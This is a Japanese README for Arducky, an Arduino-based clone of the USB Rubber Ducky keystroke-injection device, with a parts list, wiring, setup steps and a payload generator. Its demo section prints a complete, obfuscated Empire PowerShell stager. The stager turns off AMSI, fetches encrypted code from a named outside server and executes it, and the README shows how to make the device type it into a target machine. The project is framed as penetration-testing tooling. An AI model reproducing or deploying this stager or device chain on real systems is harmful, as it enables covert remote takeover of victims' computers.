
Arducky - Arduino Ducky スクリプトインタプリタ
このプロジェクトは、Hak5 の USB Rubber Ducky の安価な代替品(ただし効率は劣りません)を作成することを目的としています。
USB Rubber Ducky は、HID(ヒューマンインタフェースデバイス)であり、シンプルなスクリプト言語でプログラム可能で、ペネトレーションテスターが人間のキーボード入力を模倣するセキュリティ監査ペイロードを迅速かつ簡単に作成・展開できるようにします。
Arducky を使用すると、MicroSD カードに保存された Ducky Script を扱うだけで済みます。
セットアップ後、スクリプトを変更するために Arduino を再プログラムする必要はありません。
| 数量 | アイテム | 価格 | 説明 |
|---|---|---|---|
| 1 | Arduino Pro Micro ATmega32U4 5V ボード | $4.11 | USB プロトコルに対応、HID マウスまたはキーボードとして使用可能 |
| 1 | Micro SD メモリシールド | $0.78 | |
| 1 | Micro USB OTG アダプタ | $0.99 | 任意。Micro USB ケーブルの代わりに使用可能 |
| 1 | デュポンワイヤー | $1.28 | |
| 1 | Micro SD カード | $18.00 | これは例です。1GB 以上は必要ないでしょう |
Arducky で Micro SD カードを使用するには、カードを FAT32 ファイルシステムでフォーマットする必要があります。
SD カード(新品でも!)は、オペレーティングシステムに付属のフォーマットツールではなく、公式の SDA(SD アソシエーション)SD Memory Card Formatter を使用してフォーマットすることを強くお勧めします。
MicroSD カードをフォーマットしたので、MicroSD シールドを配線しましょう!
MicroSD コントローラインターフェースには、全部で 6 つのピン(GND、VCC、MISO、MOSI、SCK、CS)があります。
Arduino SPI ドキュメントに基づき、制御インターフェースは次のように接続する必要があります(デュポンワイヤーを使用):

注記: ハードウェアのセクションで述べたように、このモジュールは 5V µC とやり取りするように設計されています。そのため、Arduino の 5V ピンが必要です。


プロジェクトをクローンします:
git clone https://gitlab.com/Creased/arducky
cd arducky/
AZERTY キーボードを使用している場合は、キーボードライブラリ(Keyboard.cpp と Keyboard.h)を同梱のものに置き換える必要もあります。
arducky.ino スケッチを Arduino IDE を使用して Arduino ボードにアップロードします。
arducky_femto.ino ファイルを Ducky Script ペイロードで生成するには、femto_generate_payload.py を使用できます:
~# python3 femto_generate_payload.py -h
usage: femto_generate_payload.py [-h] [-i ino_file] [-o output_file]
payload_file
Generates payload in arducky_femto.ino from an input Rubber Ducky payload file
positional arguments:
payload_file input Rubber Ducky payload file
optional arguments:
-h, --help show this help message and exit
-i ino_file, --ino ino_file
input Arducky ino file
-o output_file, --out output_file
output Arducky ino file
例:
~# python3 femto_generate_payload.py -i arducky_femto.ino -o femto.ino demo/script.txt
Empire は、powershell.exe を必要とせずに PowerShell エージェントを実行する機能を実装したポストエクスプロイテーションフレームワークであり、キーロガーから Mimikatz まで、迅速に展開可能なポストエクスプロイトモジュールを備えています。
このデモでは、Docker ノード上のリモートサーバー(VPS など)に Empire を展開し、Arducky を使用してそれに参加します。
このガイドに記載された手順に従ってください。
新しい Empire をセットアップすると、次のようなペイロードが得られます(demo/ フォルダを参照):
powershell -noP -sta -w 1 -enc WwBSAGUAZgBdAC4AQQBzAFMARQBNAEIAbAB5AC4ARwBlAHQAVABZAHAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAGUAVABGAEkAZQBsAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQBUAFYAYQBMAFUAZQAoACQAbgBVAEwAbAAsACQAVAByAHUAZQApAH0AOwBbAFMAWQBTAFQARQBNAC4ATgBFAHQALgBTAEUAcgB2AGkAYwBlAFAATwBJAG4AdABNAGEAbgBBAGcARQBSAF0AOgA6AEUAWABwAEUAYwBUADEAMAAwAEMAbwBOAHQAaQBOAFUARQA9ADAAOwAkAHcAYwA9AE4ARQB3AC0ATwBCAEoAZQBDAFQAIABTAFkAUwB0AEUATQAuAE4ARQB0AC4AVwBFAEIAQwBsAGkAZQBuAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJABXAGMALgBIAGUAYQBEAGUAcgBTAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJABXAGMALgBQAHIATwBYAFkAPQBbAFMAeQBTAHQARQBNAC4ATgBFAHQALgBXAGUAQgBSAGUAcQB1AEUAUwBUAF0AOgA6AEQAZQBGAEEAVQBMAHQAVwBlAEIAUABSAG8AWABZADsAJAB3AEMALgBQAHIAbwBYAHkALgBDAHIAZQBEAEUAbgBUAEkAYQBMAFMAIAA9ACAAWwBTAFkAcwBUAEUAbQAuAE4ARQBUAC4AQwByAEUARABFAE4AVABJAEEAbABDAGEAYwBIAEUAXQA6ADoARABFAGYAYQBVAEwAVABOAEUAVAB3AG8AcgBLAEMAcgBlAGQARQBuAHQASQBBAGwAcwA7ACQASwA9AFsAUwBZAHMAdABlAE0ALgBUAEUAWABUAC4ARQBOAEMATwBEAGkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAeQB0AGUAcwAoACcASwBBAE4AcwAjADgAJQBtAHAAWgBpAGQAUABTAEwAaABhAF0AZwBWAFsAWQAuAEcAPwBuAGsAfQBGAGMALwAzACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARwBzADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBPAHUATgBUAF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAWABPAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAVwBDAC4ASABFAGEARABFAHIAcwAuAEEARABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AMgBtADAARQB6AEsALwBlAEEATQBTAE4AbQAxAEIAaABlAEYAUwBEAGYAZAB3AE0AaQBxAFEAPQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvAHYAcABzADIALgBiAG0AbwBpAG4AZQAuAGYAcgA6ADgAMAA4ADAAJwA7ACQAdAA9ACcALwBhAGQAbQBpAG4ALwBnAGUAdAAuAHAAaABwACcAOwAkAGQAQQB0AGEAPQAkAFcAQwAuAEQATwBXAE4AbABvAEEAZABEAGEAdABhACgAJABzAGUAUgArACQAVAApADsAJABJAFYAPQAkAEQAYQB0AEEAWwAwAC4ALgAzAF0AOwAkAGQAYQBUAEEAPQAkAEQAQQB0AEEAWwA0AC4ALgAkAEQAQQB0AGEALgBMAEUATgBnAHQAaABdADsALQBKAG8ASQBOAFsAQwBIAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAEQAQQBUAEEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
これを stager.txt というファイルに保存し、create_script.sh スクリプトを実行して Ducky Script を作成します:
./create_script.sh
生成された script.txt を MicroSD カードのファイルシステムルートにコピーし、Arducky の電源を入れます。
攻撃を実演するビデオはこちらです:
Voilà!
